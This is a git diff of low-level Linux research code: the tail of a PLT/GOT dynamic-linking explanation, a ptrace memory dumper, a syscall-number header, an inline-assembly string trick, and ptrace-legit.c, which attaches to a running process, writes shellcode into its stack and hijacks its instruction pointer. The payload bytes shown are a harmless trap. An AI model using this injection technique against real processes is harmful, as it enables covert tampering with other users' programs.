| 222 | What is this routine ? | ||
| 223 | |||
| 224 | |||
| 225 | |||
| 226 | (gdb) x/3i 0x80482e8 | ||
| 227 | 0x80482e8 <puts>: jmp *0x8049460 | ||
| 228 | 0x80482ee <puts+6>: push $0x8 | ||
| 229 | 0x80482f3 <puts+11>: jmp 0x80482c8 <_init+48> | ||
| 230 | |||
| 231 | |||
| 232 | It's the procedure linkage table entry for this function, it uses offset | ||
| 233 | in the GOT . As the GOT is not yet filled, the offset is the 32 bits address | ||
| 234 | of the following push ("push $0x8") . This entry is going to be modified | ||
| 235 | by the dynamic linker as soon as the symbol resolution is done ( see | ||
| 236 | chapter 2) . | ||
| 237 | |||
| 238 | |||
| 239 | |||
| 240 | (gdb) x/1x 0x8049460 | ||
| 241 | 0x8049460 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482ee | ||
| 242 | |||
| 243 | |||
| 244 | Each first time you call a remote function, the PLT first entry code | ||
| 245 | is executed : | ||
| 246 | |||
| 247 | |||
| 248 | (gdb) x/3i 0x80482c8 | ||
| 249 | 0x80482c8 <_init+48>: pushl 0x8049454 | ||
| 250 | 0x80482ce <_init+54>: jmp *0x8049458 | ||
| 251 | 0x80482d4 <_init+60>: add %al,(%eax) | ||
| 252 | |||
| 253 | |||
| 254 | This first entry uses the third entry of the GOT , then the dynamic | ||
| 255 | linker takes control : | ||
| 256 | |||
| 257 | |||
| 258 | (gdb) x/1x 0x8049458 | ||
| 259 | 0x8049458 <_GLOBAL_OFFSET_TABLE_+8>: 0x40009a10 | ||
| 260 | |||
| 261 | (gdb) | ||
| 262 | |||
| 263 | |||
| 264 | Let's see what is the library containing this function at the offset | ||
| 265 | 0x40009a10 . | ||
| 266 | |||
| 267 | |||
| 268 | bash-2.04$ pidof a.out | ||
| 269 | 7905 | ||
| 270 | bash-2.04$ cat /proc/7905/maps | ||
| 271 | 08048000-08049000 r-xp 00000000 03:01 135375 /home/mayhem/a.out | ||
| 272 | 08049000-0804a000 rw-p 00000000 03:01 135375 /home/mayhem/a.out | ||
| 273 | 40000000-40012000 r-xp 00000000 03:01 229408 /lib/ld-2.1.2.so <== *GOOD* | ||
| 274 | 40012000-40013000 rw-p 00011000 03:01 229408 /lib/ld-2.1.2.so | ||
| 275 | 40013000-40014000 rw-p 00000000 00:00 0 | ||
| 276 | 4001a000-400fb000 r-xp 00000000 03:01 229410 /lib/libc-2.1.2.so | ||
| 277 | 400fb000-400ff000 rw-p 000e0000 03:01 229410 /lib/libc-2.1.2.so | ||
| 278 | 400ff000-40102000 rw-p 00000000 00:00 0 | ||
| 279 | bfffe000-c0000000 rwxp fffff000 00:00 0 | ||
| 280 | bash-2.04$ | ||
| 281 | |||
| 282 | |||
| 283 | The wanted function is in the dynamic linker code segment, more precisely | ||
| 284 | in the _dl_runtime_fixup() function, in the sysdeps/i386/dl-machine.h | ||
| 285 | file . To be honest, i had difficulties to find it , because I could not | ||
| 286 | deduce the symbol giving its virtual address, and this for 2 reasons : | ||
| 287 | |||
| 288 | - The libc and the dynamic linker are stripped (the symbol table | ||
| 289 | and the debug information has been removed) . As a consequence, | ||
| 290 | I could get the function name from the symbol table . | ||
| 291 | |||
| 292 | - In a shared library, offsets are relative (actually it's | ||
| 293 | calculated from the beginning of the file, so you can't retreive | ||
| 294 | the absolute function addresses from the ld.so symbol table) . | ||
| 295 | You can do a "objdump -D /lib/libc.so.6" to see it by yourself . | ||
| 296 | |||
| 297 | Even if I had a symbol table, I could not have got the good offset . | ||
| 298 | I could have compare the first bytes of the function in the debugged | ||
| 299 | process and the library (ld.so) code segment to find some hexadecimal | ||
| 300 | sequences matching, but I prefered to read the sources . ;) | ||
| 301 | |||
| 302 | The solution is to calculate the relocation ourself, most of the | ||
| 303 | time we have : base_addr + symbol_value = runtime address . You | ||
| 304 | can get the base address from the procfs (if you have read access, | ||
| 305 | this is okay by default) and you can check the symbol's value | ||
| 306 | from the library's .dynsym section (list of exported symbols). | ||
| 307 | Note that you can retreive it from the symbol table (.symtab) | ||
| 308 | but this section may be removed from the shared library using | ||
| 309 | known basic tools like strip(3) . | ||
| 310 | |||
| 311 | |||
| 312 | Shoutouts to silvio and grugq ! | ||
| 313 | |||
| 314 | |||
| 315 | *EOF* | ||
| 316 | |||
| 317 | |||
| 318 | |||
| 319 | |||
| 320 | |||
| 321 | |||
| 322 | |||
| 323 | |||
| 324 | |||
diff --git a/other/wrez/tmp/foo.c b/other/wrez/tmp/foo.c new file mode 100644 index 0000000..51d4bd2 --- /dev/null +++ b/other/wrez/tmp/foo.c | |||
| @@ -0,0 +1,11 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | |||
| 4 | int | ||
| 5 | main (int argc, char *argv[]) | ||
| 6 | { | ||
| 7 | printf ("my home is my castle\n"); | ||
| 8 | printf ("my castle is my home\n"); | ||
| 9 | } | ||
| 10 | |||
| 11 | |||
diff --git a/other/wrez/tmp/memdump.c b/other/wrez/tmp/memdump.c new file mode 100644 index 0000000..3215d20 --- /dev/null +++ b/other/wrez/tmp/memdump.c | |||
| @@ -0,0 +1,249 @@ | |||
| 1 | /* memory dump utility | ||
| 2 | * -scut | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <sys/types.h> | ||
| 6 | #include <sys/ptrace.h> | ||
| 7 | #include <sys/wait.h> | ||
| 8 | #include <sys/user.h> | ||
| 9 | #include <errno.h> | ||
| 10 | #include <unistd.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | #include <libgen.h> /* basename */ | ||
| 14 | |||
| 15 | |||
| 16 | void | ||
| 17 | hexdump (unsigned char *data, unsigned int amount); | ||
| 18 | |||
| 19 | |||
| 20 | int | ||
| 21 | main (int argc, char *argv[]) | ||
| 22 | { | ||
| 23 | pid_t fpid; /* child pid, gets ptraced */ | ||
| 24 | char * argv0; | ||
| 25 | struct user regs; /* PTRACE pulled registers */ | ||
| 26 | unsigned long int addr, /* segment start address */ | ||
| 27 | addr_end, /* segment end address */ | ||
| 28 | len; /* length of segment */ | ||
| 29 | unsigned long int addr_walker, /* walker to dump memory */ | ||
| 30 | eip; /* current childs eip */ | ||
| 31 | |||
| 32 | /* array to temporarily store data into */ | ||
| 33 | unsigned char data_saved[sizeof (unsigned long int)]; | ||
| 34 | |||
| 35 | /* file to read mapping information */ | ||
| 36 | FILE * map_f; /* /proc/<pid>/maps stream */ | ||
| 37 | unsigned char map_line[256]; /* one line each from map */ | ||
| 38 | |||
| 39 | /* data for the dump files */ | ||
| 40 | FILE * dump_f; /* stream */ | ||
| 41 | char dump_name[64]; /* filename buffer */ | ||
| 42 | |||
| 43 | |||
| 44 | if (argc < 3 || sscanf (argv[1], "0x%lx", &eip) != 1) { | ||
| 45 | printf ("usage: %s <eip> <argv0 [argv1 [...]]>\n\n", argv[0]); | ||
| 46 | printf ("will run 'argv0' as program with given arguments, " | ||
| 47 | "until 'eip' is reached, then\n" | ||
| 48 | "dumping 'len' bytes from 'addr'.\n\n" | ||
| 49 | "example: %s 0x08049014 0x08048000 0x100 /bin/ls " | ||
| 50 | "-l\n\n", argv[0]); | ||
| 51 | |||
| 52 | exit (EXIT_FAILURE); | ||
| 53 | } | ||
| 54 | |||
| 55 | argv0 = argv[2]; | ||
| 56 | |||
| 57 | fpid = fork (); | ||
| 58 | if (fpid < 0) { | ||
| 59 | perror ("fork"); | ||
| 60 | exit (EXIT_FAILURE); | ||
| 61 | } | ||
| 62 | if (fpid == 0) { /* child */ | ||
| 63 | if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) { | ||
| 64 | perror ("ptrace PTRACE_TRACEME"); | ||
| 65 | exit (EXIT_FAILURE); | ||
| 66 | } | ||
| 67 | fprintf (stderr, " child: TRACEME set\n"); | ||
| 68 | |||
| 69 | fprintf (stderr, " child: executing: %s\n", argv[2]); | ||
| 70 | close (1); | ||
| 71 | dup2 (2, 1); | ||
| 72 | execve (argv[2], &argv[2], NULL); | ||
| 73 | |||
| 74 | /* failed ? */ | ||
| 75 | perror ("execve"); | ||
| 76 | exit (EXIT_FAILURE); | ||
| 77 | } | ||
| 78 | |||
| 79 | wait (NULL); | ||
| 80 | |||
| 81 | memset (®s, 0, sizeof (regs)); | ||
| 82 | |||
| 83 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 84 | perror ("ptrace PTRACE_GETREGS"); | ||
| 85 | exit (EXIT_FAILURE); | ||
| 86 | } | ||
| 87 | fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip); | ||
| 88 | |||
| 89 | /* now single step until given eip is reached */ | ||
| 90 | do { | ||
| 91 | if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) { | ||
| 92 | perror ("ptrace PTRACE_SINGLESTEP"); | ||
| 93 | exit (EXIT_FAILURE); | ||
| 94 | } | ||
| 95 | wait (NULL); | ||
| 96 | |||
| 97 | memset (®s, 0, sizeof (regs)); | ||
| 98 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 99 | perror ("ptrace PTRACE_GETREGS"); | ||
| 100 | exit (EXIT_FAILURE); | ||
| 101 | } | ||
| 102 | } while (regs.regs.eip != eip); | ||
| 103 | |||
| 104 | fprintf (stderr, "MEMDUMP: eip @ 0x%08lx, dumping...\n", eip); | ||
| 105 | |||
| 106 | snprintf (dump_name, sizeof (dump_name), "%s.regs", | ||
| 107 | basename (argv0)); | ||
| 108 | dump_name[sizeof (dump_name) - 1] = '\0'; | ||
| 109 | dump_f = fopen (dump_name, "w"); | ||
| 110 | if (dump_f == NULL) { | ||
| 111 | perror ("fopen dumpfile regs"); | ||
| 112 | exit (EXIT_FAILURE); | ||
| 113 | } | ||
| 114 | fprintf (dump_f, "eax = 0x%08lx\n", regs.regs.eax); | ||
| 115 | fprintf (dump_f, "ebx = 0x%08lx\n", regs.regs.ebx); | ||
| 116 | fprintf (dump_f, "ecx = 0x%08lx\n", regs.regs.ecx); | ||
| 117 | fprintf (dump_f, "edx = 0x%08lx\n", regs.regs.edx); | ||
| 118 | fprintf (dump_f, "esi = 0x%08lx\n", regs.regs.esi); | ||
| 119 | fprintf (dump_f, "edi = 0x%08lx\n", regs.regs.edi); | ||
| 120 | fprintf (dump_f, "ebp = 0x%08lx\n", regs.regs.ebp); | ||
| 121 | fprintf (dump_f, "esp = 0x%08lx\n", regs.regs.esp); | ||
| 122 | fprintf (dump_f, "eflags = 0x%08lx\n", regs.regs.eflags); | ||
| 123 | fprintf (dump_f, "xcs = 0x%08lx\n", regs.regs.xcs); | ||
| 124 | fprintf (dump_f, "xds = 0x%08lx\n", regs.regs.xds); | ||
| 125 | fprintf (dump_f, "xes = 0x%08lx\n", regs.regs.xes); | ||
| 126 | fprintf (dump_f, "xss = 0x%08lx\n", regs.regs.xss); | ||
| 127 | fclose (dump_f); | ||
| 128 | |||
| 129 | snprintf (map_line, sizeof (map_line), "/proc/%d/maps", fpid); | ||
| 130 | map_line[sizeof (map_line) - 1] = '\0'; | ||
| 131 | map_f = fopen (map_line, "r"); | ||
| 132 | if (map_f == NULL) { | ||
| 133 | perror ("fopen map-file"); | ||
| 134 | |||
| 135 | exit (EXIT_FAILURE); | ||
| 136 | } | ||
| 137 | |||
| 138 | while (fgets (map_line, sizeof (map_line), map_f) != NULL) { | ||
| 139 | char map_perm[8]; | ||
| 140 | |||
| 141 | if (sscanf (map_line, "%08lx-%08lx %7[rwxp-] ", | ||
| 142 | &addr, &addr_end, map_perm) != 3) | ||
| 143 | { | ||
| 144 | perror ("invalid map-line"); | ||
| 145 | |||
| 146 | exit (EXIT_FAILURE); | ||
| 147 | } | ||
| 148 | if (addr_end < addr) { | ||
| 149 | fprintf (stderr, "sanity required, not so: " | ||
| 150 | "addr = 0x%08lx, addr_end = 0x%08lx", | ||
| 151 | addr, addr_end); | ||
| 152 | |||
| 153 | exit (EXIT_FAILURE); | ||
| 154 | } | ||
| 155 | len = addr_end - addr; | ||
| 156 | map_perm[sizeof (map_perm) - 1] = '\0'; /* ;-) */ | ||
| 157 | |||
| 158 | fprintf (stderr, "MEMDUMP: -> 0x%08lx (0x%08lx bytes, " | ||
| 159 | "perm %s)\n", addr, len, map_perm); | ||
| 160 | |||
| 161 | snprintf (dump_name, sizeof (dump_name), | ||
| 162 | "%s.0x%08lx.0x%08lx.%s", | ||
| 163 | basename (argv0), addr, len, map_perm); | ||
| 164 | dump_name[sizeof (dump_name) - 1] = '\0'; | ||
| 165 | dump_f = fopen (dump_name, "wb"); | ||
| 166 | if (dump_f == NULL) { | ||
| 167 | perror ("fopen dumpfile"); | ||
| 168 | |||
| 169 | exit (EXIT_FAILURE); | ||
| 170 | } | ||
| 171 | |||
| 172 | /* save data, assuming addr is page aligned */ | ||
| 173 | for (addr_walker = 0 ; addr_walker < len ; | ||
| 174 | addr_walker += sizeof (data_saved)) | ||
| 175 | { | ||
| 176 | errno = 0; | ||
| 177 | |||
| 178 | *((unsigned long int *) &data_saved[0]) = | ||
| 179 | ptrace (PTRACE_PEEKDATA, fpid, | ||
| 180 | addr + addr_walker, NULL); | ||
| 181 | |||
| 182 | if (errno == 0 && fwrite (&data_saved[0], 1, 4, | ||
| 183 | dump_f) != 4) | ||
| 184 | { | ||
| 185 | perror ("fwrite dumpfile"); | ||
| 186 | |||
| 187 | exit (EXIT_FAILURE); | ||
| 188 | } else if (errno != 0) { | ||
| 189 | fprintf (stderr, | ||
| 190 | "[0x%08lx] invalid PTRACE_PEEKDATA\n", | ||
| 191 | addr + addr_walker); | ||
| 192 | |||
| 193 | exit (EXIT_FAILURE); | ||
| 194 | } | ||
| 195 | } | ||
| 196 | |||
| 197 | fclose (dump_f); | ||
| 198 | } | ||
| 199 | fclose (map_f); | ||
| 200 | |||
| 201 | if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) { | ||
| 202 | perror ("ptrace PTRACE_DETACH"); | ||
| 203 | exit (EXIT_FAILURE); | ||
| 204 | } | ||
| 205 | |||
| 206 | fprintf (stderr, "MEMDUMP: success. terminating.\n"); | ||
| 207 | exit (EXIT_SUCCESS); | ||
| 208 | } | ||
| 209 | |||
| 210 | |||
| 211 | |||
| 212 | void | ||
| 213 | hexdump (unsigned char *data, unsigned int amount) | ||
| 214 | { | ||
| 215 | unsigned int dp, p; /* data pointer */ | ||
| 216 | const char trans[] = | ||
| 217 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 218 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 219 | "nopqrstuvwxyz{|}~...................................." | ||
| 220 | "....................................................." | ||
| 221 | "........................................"; | ||
| 222 | |||
| 223 | for (dp = 1; dp <= amount; dp++) { | ||
| 224 | printf ("%02x ", data[dp-1]); | ||
| 225 | if ((dp % 8) == 0) | ||
| 226 | printf (" "); | ||
| 227 | if ((dp % 16) == 0) { | ||
| 228 | printf ("| "); | ||
| 229 | p = dp; | ||
| 230 | for (dp -= 16; dp < p; dp++) | ||
| 231 | printf ("%c", trans[data[dp]]); | ||
| 232 | printf ("\n"); | ||
| 233 | } | ||
| 234 | } | ||
| 235 | if ((amount % 16) != 0) { | ||
| 236 | p = dp = 16 - (amount % 16); | ||
| 237 | for (dp = p; dp > 0; dp--) { | ||
| 238 | printf (" "); | ||
| 239 | if (((dp % 8) == 0) && (p != 8)) | ||
| 240 | printf (" "); | ||
| 241 | } | ||
| 242 | printf (" | "); | ||
| 243 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 244 | printf ("%c", trans[data[dp]]); | ||
| 245 | } | ||
| 246 | printf ("\n"); | ||
| 247 | |||
| 248 | return; | ||
| 249 | } | ||
diff --git a/other/wrez/tmp/ptrace-legit.c b/other/wrez/tmp/ptrace-legit.c new file mode 100644 index 0000000..a6c53d7 --- /dev/null +++ b/other/wrez/tmp/ptrace-legit.c | |||
| @@ -0,0 +1,143 @@ | |||
| 1 | /* -scutstyle */ | ||
| 2 | |||
| 3 | #include <sys/types.h> | ||
| 4 | #include <sys/ptrace.h> | ||
| 5 | #include <sys/wait.h> | ||
| 6 | #include <sys/user.h> | ||
| 7 | #include <unistd.h> | ||
| 8 | #include <stdlib.h> | ||
| 9 | #include <stdio.h> | ||
| 10 | |||
| 11 | void | ||
| 12 | hexdump (unsigned char *data, unsigned int amount); | ||
| 13 | |||
| 14 | unsigned char shellcode[] = "\x90\x90\xcc\x73"; | ||
| 15 | |||
| 16 | int | ||
| 17 | main (int argc, char *argv[]) | ||
| 18 | { | ||
| 19 | pid_t cpid; | ||
| 20 | struct user regs; | ||
| 21 | unsigned long int safed_eip; | ||
| 22 | unsigned long int addr, | ||
| 23 | addr_walker; | ||
| 24 | unsigned char data_saved[256]; | ||
| 25 | |||
| 26 | |||
| 27 | #if 1 | ||
| 28 | if (argc != 2 || sscanf (argv[1], "%d", &cpid) != 1) { | ||
| 29 | printf ("usage: %s <pid>\n", argv[0]); | ||
| 30 | exit (EXIT_FAILURE); | ||
| 31 | } | ||
| 32 | #else | ||
| 33 | cpid = getppid(); | ||
| 34 | #endif | ||
| 35 | |||
| 36 | printf ("pid = %d\n", cpid); | ||
| 37 | |||
| 38 | printf ("exploiting\n\n"); | ||
| 39 | |||
| 40 | if (ptrace (PTRACE_ATTACH, cpid, NULL, NULL) < 0) { | ||
| 41 | perror ("ptrace"); | ||
| 42 | exit (EXIT_FAILURE); | ||
| 43 | } | ||
| 44 | |||
| 45 | /* save data */ | ||
| 46 | addr = 0xbffff010; | ||
| 47 | for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { | ||
| 48 | data_saved[addr_walker] = ptrace (PTRACE_PEEKDATA, cpid, | ||
| 49 | addr + addr_walker, NULL); | ||
| 50 | } | ||
| 51 | hexdump (data_saved, sizeof (data_saved)); | ||
| 52 | |||
| 53 | /* write */ | ||
| 54 | for (addr_walker = 0 ; addr_walker < sizeof (shellcode) ; | ||
| 55 | ++addr_walker) | ||
| 56 | { | ||
| 57 | ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, | ||
| 58 | shellcode[addr_walker] & 0xff); | ||
| 59 | } | ||
| 60 | |||
| 61 | /* redirect eip */ | ||
| 62 | memset (®s, 0, sizeof (regs)); | ||
| 63 | if (ptrace (PTRACE_GETREGS, cpid, NULL, ®s) < 0) { | ||
| 64 | perror ("ptrace PTRACE_GETREGS"); | ||
| 65 | exit (EXIT_FAILURE); | ||
| 66 | } | ||
| 67 | // write eip */ | ||
| 68 | safed_eip = regs.regs.eip; | ||
| 69 | regs.regs.eip = 0xbffff010; | ||
| 70 | if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { | ||
| 71 | perror ("ptrace PTRACE_GETREGS"); | ||
| 72 | exit (EXIT_FAILURE); | ||
| 73 | } | ||
| 74 | |||
| 75 | if (ptrace (PTRACE_CONT, cpid, NULL, NULL) < 0) { | ||
| 76 | perror ("ptrace PTRACE_CONT"); | ||
| 77 | exit (EXIT_FAILURE); | ||
| 78 | } | ||
| 79 | |||
| 80 | wait (NULL); | ||
| 81 | printf ("detrap\n"); | ||
| 82 | |||
| 83 | /* restore */ | ||
| 84 | for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { | ||
| 85 | ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, | ||
| 86 | data_saved[addr_walker] & 0xff); | ||
| 87 | } | ||
| 88 | |||
| 89 | /* restore regs */ | ||
| 90 | regs.regs.eip = safed_eip; | ||
| 91 | if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { | ||
| 92 | perror ("ptrace PTRACE_GETREGS"); | ||
| 93 | exit (EXIT_FAILURE); | ||
| 94 | } | ||
| 95 | |||
| 96 | if (ptrace (PTRACE_DETACH, cpid, NULL, NULL) < 0) { | ||
| 97 | perror ("ptrace PTRACE_DETACH"); | ||
| 98 | exit (EXIT_FAILURE); | ||
| 99 | } | ||
| 100 | |||
| 101 | exit (EXIT_SUCCESS); | ||
| 102 | } | ||
| 103 | |||
| 104 | |||
| 105 | |||
| 106 | void | ||
| 107 | hexdump (unsigned char *data, unsigned int amount) | ||
| 108 | { | ||
| 109 | unsigned int dp, p; /* data pointer */ | ||
| 110 | const char trans[] = | ||
| 111 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 112 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 113 | "nopqrstuvwxyz{|}~...................................." | ||
| 114 | "....................................................." | ||
| 115 | "........................................"; | ||
| 116 | |||
| 117 | for (dp = 1; dp <= amount; dp++) { | ||
| 118 | printf ("%02x ", data[dp-1]); | ||
| 119 | if ((dp % 8) == 0) | ||
| 120 | printf (" "); | ||
| 121 | if ((dp % 16) == 0) { | ||
| 122 | printf ("| "); | ||
| 123 | p = dp; | ||
| 124 | for (dp -= 16; dp < p; dp++) | ||
| 125 | printf ("%c", trans[data[dp]]); | ||
| 126 | printf ("\n"); | ||
| 127 | } | ||
| 128 | } | ||
| 129 | if ((amount % 16) != 0) { | ||
| 130 | p = dp = 16 - (amount % 16); | ||
| 131 | for (dp = p; dp > 0; dp--) { | ||
| 132 | printf (" "); | ||
| 133 | if (((dp % 8) == 0) && (p != 8)) | ||
| 134 | printf (" "); | ||
| 135 | } | ||
| 136 | printf (" | "); | ||
| 137 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 138 | printf ("%c", trans[data[dp]]); | ||
| 139 | } | ||
| 140 | printf ("\n"); | ||
| 141 | |||
| 142 | return; | ||
| 143 | } | ||
diff --git a/other/wrez/tmp/str.c b/other/wrez/tmp/str.c new file mode 100644 index 0000000..d822f20 --- /dev/null +++ b/other/wrez/tmp/str.c | |||
| @@ -0,0 +1,30 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | |||
| 4 | #define STRINGPTR(dst,string) \ | ||
| 5 | { \ | ||
| 6 | register unsigned char * regtmp; \ | ||
| 7 | \ | ||
| 8 | __asm__ __volatile__ ( \ | ||
| 9 | " call l0_%=\n\t" \ | ||
| 10 | " .ascii \""##string"\"\n\t" \ | ||
| 11 | " .byte 0x00\n\t" \ | ||
| 12 | "l0_%=: popl %%eax\n\t" \ | ||
| 13 | : "=a" (regtmp)); \ | ||
| 14 | \ | ||
| 15 | (dst) = regtmp; \ | ||
| 16 | } | ||
| 17 | |||
| 18 | |||
| 19 | int | ||
| 20 | main (int argc, char *argv[]) | ||
| 21 | { | ||
| 22 | char * foo; | ||
| 23 | |||
| 24 | |||
| 25 | STRINGPTR(foo,"foobarcow"); | ||
| 26 | |||
| 27 | printf ("%s\n", foo); | ||
| 28 | } | ||
| 29 | |||
| 30 | |||
diff --git a/other/wrez/unistd.h b/other/wrez/unistd.h new file mode 100644 index 0000000..6af5a6f --- /dev/null +++ b/other/wrez/unistd.h | |||
| @@ -0,0 +1,281 @@ | |||
| 1 | #ifndef ASM_I386_UNISTD_H | ||
| 2 | #define ASM_I386_UNISTD_H | ||
| 3 | |||
| 4 | #ifndef NULL | ||
| 5 | #define NULL ((void *) 0x0) | ||
| 6 | #endif | ||
| 7 | /* | ||
| 8 | * This file contains the system call numbers. | ||
| 9 | */ | ||
| 10 | |||
| 11 | #define __NR_exit 1 | ||
| 12 | #define __NR_fork 2 | ||
| 13 | #define __NR_read 3 | ||
| 14 | #define __NR_write 4 | ||
| 15 | #define __NR_open 5 | ||
| 16 | #define __NR_close 6 | ||
| 17 | #define __NR_waitpid 7 | ||
| 18 | #define __NR_creat 8 | ||
| 19 | #define __NR_link 9 | ||
| 20 | #define __NR_unlink 10 | ||
| 21 | #define __NR_execve 11 | ||
| 22 | #define __NR_chdir 12 | ||
| 23 | #define __NR_time 13 | ||
| 24 | #define __NR_mknod 14 | ||
| 25 | #define __NR_chmod 15 | ||
| 26 | #define __NR_lchown 16 | ||
| 27 | #define __NR_break 17 | ||
| 28 | #define __NR_oldstat 18 | ||
| 29 | #define __NR_lseek 19 | ||
| 30 | #define __NR_getpid 20 | ||
| 31 | #define __NR_mount 21 | ||
| 32 | #define __NR_umount 22 | ||
| 33 | #define __NR_setuid 23 | ||
| 34 | #define __NR_getuid 24 | ||
| 35 | #define __NR_stime 25 | ||
| 36 | #define __NR_ptrace 26 | ||
| 37 | #define __NR_alarm 27 | ||
| 38 | #define __NR_oldfstat 28 | ||
| 39 | #define __NR_pause 29 | ||
| 40 | #define __NR_utime 30 | ||
| 41 | #define __NR_stty 31 | ||
| 42 | #define __NR_gtty 32 | ||
| 43 | #define __NR_access 33 | ||
| 44 | #define __NR_nice 34 | ||
| 45 | #define __NR_ftime 35 | ||
| 46 | #define __NR_sync 36 | ||
| 47 | #define __NR_kill 37 | ||
| 48 | #define __NR_rename 38 | ||
| 49 | #define __NR_mkdir 39 | ||
| 50 | #define __NR_rmdir 40 | ||
| 51 | #define __NR_dup 41 | ||
| 52 | #define __NR_pipe 42 | ||
| 53 | #define __NR_times 43 | ||
| 54 | #define __NR_prof 44 | ||
| 55 | #define __NR_brk 45 | ||
| 56 | #define __NR_setgid 46 | ||
| 57 | #define __NR_getgid 47 | ||
| 58 | #define __NR_signal 48 | ||
| 59 | #define __NR_geteuid 49 | ||
| 60 | #define __NR_getegid 50 | ||
| 61 | #define __NR_acct 51 | ||
| 62 | #define __NR_umount2 52 | ||
| 63 | #define __NR_lock 53 | ||
| 64 | #define __NR_ioctl 54 | ||
| 65 | #define __NR_fcntl 55 | ||
| 66 | #define __NR_mpx 56 | ||
| 67 | #define __NR_setpgid 57 | ||
| 68 | #define __NR_ulimit 58 | ||
| 69 | #define __NR_oldolduname 59 | ||
| 70 | #define __NR_umask 60 | ||
| 71 | #define __NR_chroot 61 | ||
| 72 | #define __NR_ustat 62 | ||
| 73 | #define __NR_dup2 63 | ||
| 74 | #define __NR_getppid 64 | ||
| 75 | #define __NR_getpgrp 65 | ||
| 76 | #define __NR_setsid 66 | ||
| 77 | #define __NR_sigaction 67 | ||
| 78 | #define __NR_sgetmask 68 | ||
| 79 | #define __NR_ssetmask 69 | ||
| 80 | #define __NR_setreuid 70 | ||
| 81 | #define __NR_setregid 71 | ||
| 82 | #define __NR_sigsuspend 72 | ||
| 83 | #define __NR_sigpending 73 | ||
| 84 | #define __NR_sethostname 74 | ||
| 85 | #define __NR_setrlimit 75 | ||
| 86 | #define __NR_getrlimit 76 | ||
| 87 | #define __NR_getrusage 77 | ||
| 88 | #define __NR_gettimeofday 78 | ||
| 89 | #define __NR_settimeofday 79 | ||
| 90 | #define __NR_getgroups 80 | ||
| 91 | #define __NR_setgroups 81 | ||
| 92 | #define __NR_select 82 | ||
| 93 | #define __NR_symlink 83 | ||
| 94 | #define __NR_oldlstat 84 | ||
| 95 | #define __NR_readlink 85 | ||
| 96 | #define __NR_uselib 86 | ||
| 97 | #define __NR_swapon 87 | ||
| 98 | #define __NR_reboot 88 | ||
| 99 | #define __NR_readdir 89 | ||
| 100 | #define __NR_mmap 90 | ||
| 101 | #define __NR_munmap 91 | ||
| 102 | #define __NR_truncate 92 | ||
| 103 | #define __NR_ftruncate 93 | ||
| 104 | #define __NR_fchmod 94 | ||
| 105 | #define __NR_fchown 95 | ||
| 106 | #define __NR_getpriority 96 | ||
| 107 | #define __NR_setpriority 97 | ||
| 108 | #define __NR_profil 98 | ||
| 109 | #define __NR_statfs 99 | ||
| 110 | #define __NR_fstatfs 100 | ||
| 111 | #define __NR_ioperm 101 | ||
| 112 | #define __NR_socketcall 102 | ||
| 113 | #define __NR_syslog 103 | ||
| 114 | #define __NR_setitimer 104 | ||
| 115 | #define __NR_getitimer 105 | ||
| 116 | #define __NR_stat 106 | ||
| 117 | #define __NR_lstat 107 | ||
| 118 | #define __NR_fstat 108 | ||
| 119 | #define __NR_olduname 109 | ||
| 120 | #define __NR_iopl 110 | ||
| 121 | #define __NR_vhangup 111 | ||
| 122 | #define __NR_idle 112 | ||
| 123 | #define __NR_vm86old 113 | ||
| 124 | #define __NR_wait4 114 | ||
| 125 | #define __NR_swapoff 115 | ||
| 126 | #define __NR_sysinfo 116 | ||
| 127 | #define __NR_ipc 117 | ||
| 128 | #define __NR_fsync 118 | ||
| 129 | #define __NR_sigreturn 119 | ||
| 130 | #define __NR_clone 120 | ||
| 131 | #define __NR_setdomainname 121 | ||
| 132 | #define __NR_uname 122 | ||
| 133 | #define __NR_modify_ldt 123 | ||
| 134 | #define __NR_adjtimex 124 | ||
| 135 | #define __NR_mprotect 125 | ||
| 136 | #define __NR_sigprocmask 126 | ||
| 137 | #define __NR_create_module 127 | ||
| 138 | #define __NR_init_module 128 | ||
| 139 | #define __NR_delete_module 129 | ||
| 140 | #define __NR_get_kernel_syms 130 | ||
| 141 | #define __NR_quotactl 131 | ||
| 142 | #define __NR_getpgid 132 | ||
| 143 | #define __NR_fchdir 133 | ||
| 144 | #define __NR_bdflush 134 | ||
| 145 | #define __NR_sysfs 135 | ||
| 146 | #define __NR_personality 136 | ||
| 147 | #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ | ||
| 148 | #define __NR_setfsuid 138 | ||
| 149 | #define __NR_setfsgid 139 | ||
| 150 | #define __NR__llseek 140 | ||
| 151 | #define __NR_getdents 141 | ||
| 152 | #define __NR__newselect 142 | ||
| 153 | #define __NR_flock 143 | ||
| 154 | #define __NR_msync 144 | ||
| 155 | #define __NR_readv 145 | ||
| 156 | #define __NR_writev 146 | ||
| 157 | #define __NR_getsid 147 | ||
| 158 | #define __NR_fdatasync 148 | ||
| 159 | #define __NR__sysctl 149 | ||
| 160 | #define __NR_mlock 150 | ||
| 161 | #define __NR_munlock 151 | ||
| 162 | #define __NR_mlockall 152 | ||
